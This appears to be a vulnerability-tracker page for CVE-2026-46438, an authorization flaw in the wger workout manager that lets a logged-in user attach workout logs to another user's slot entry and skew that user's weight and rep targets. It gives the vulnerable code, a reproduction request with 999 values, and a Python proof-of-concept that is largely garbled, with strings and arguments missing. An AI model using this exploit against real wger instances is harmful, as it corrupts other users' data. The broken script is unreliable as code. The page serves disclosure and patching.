Live › vulnerability › CVE-2026-46438
Go to dashboardA logged-in user can create workout log entries linked to another user's slot entry through the workout log API, because the server does not check ownership of that field. The injected values then feed into the victim's auto-generated weight and rep targets.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-26 15:53 UTC, 0h before NVD. All times on this page are UTC.
Self-hosted or managed wger instances where more than one user has an account, since the attacker needs a valid login and their own routine. Single-user instances have no other user whose slot entries could be targeted.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| wger | pypi | <= 2.1 | – |
pip show wger or the deployed image tag; the sources list <= 2.1 as affected.wger pypi package to a release newer than 2.1; the sources do not name the fixed version.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
SlotEntry IDRoutine of their own (to satisfy the routine ownership check)POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json
{
"routine": <attacker_routine_id>,
"slot_entry": <victim_slot_entry_id>,
"exercise": <any_valid_exercise_id>,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
r.json().get()
():
{: , : }
()
victim_token = api_login(VICTIM_USER, VICTIM_PASS)
victim_token:
()
sys.exit()
()
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
attacker_token:
()
r = requests.post(, json={
: ATTACKER_USER,
: ATTACKER_PASS,
})
r.status_code (, ):
attacker_token = r.json().get()
attacker_token:
attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
attacker_token:
()
sys.exit()
()
()
vh = api_headers(victim_token)
today = (date.today())
end_date = (date.today() + timedelta(days=))
r = requests.post(, headers=vh, json={
: , : today, : end_date
})
victim_routine_id = r.json()[]
()
r = requests.post(, headers=vh, json={
: victim_routine_id, : , :
})
victim_day_id = r.json()[]
()
r = requests.post(, headers=vh, json={
: victim_day_id, :
})
victim_slot_id = r.json()[]
()
r = requests.get(, headers=vh)
exercise_id = r.json()[][][]
r = requests.post(, headers=vh, json={
: victim_slot_id, : exercise_id, : , :
})
victim_slot_entry_id = r.json()[]
()
()
ah = api_headers(attacker_token)
r = requests.post(, headers=ah, json={
: , : today, : end_date
})
attacker_routine_id = r.json()[]
()
()
()
()
payload = {
: attacker_routine_id,
: victim_slot_entry_id,
: exercise_id,
: ,
: ,
: ,
: ,
: today,
: ,
}
()
()
()
()
()
r = requests.post(, headers=ah, json=payload)
()
r.status_code == :
d = r.json()
()
()
()
()
()
r.status_code == :
()
sys.exit()
:
()
sys.exit()
()
()
()
r = requests.get(
This page as .md · .json · in your agent: get_signal("CVE-2026-46438")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.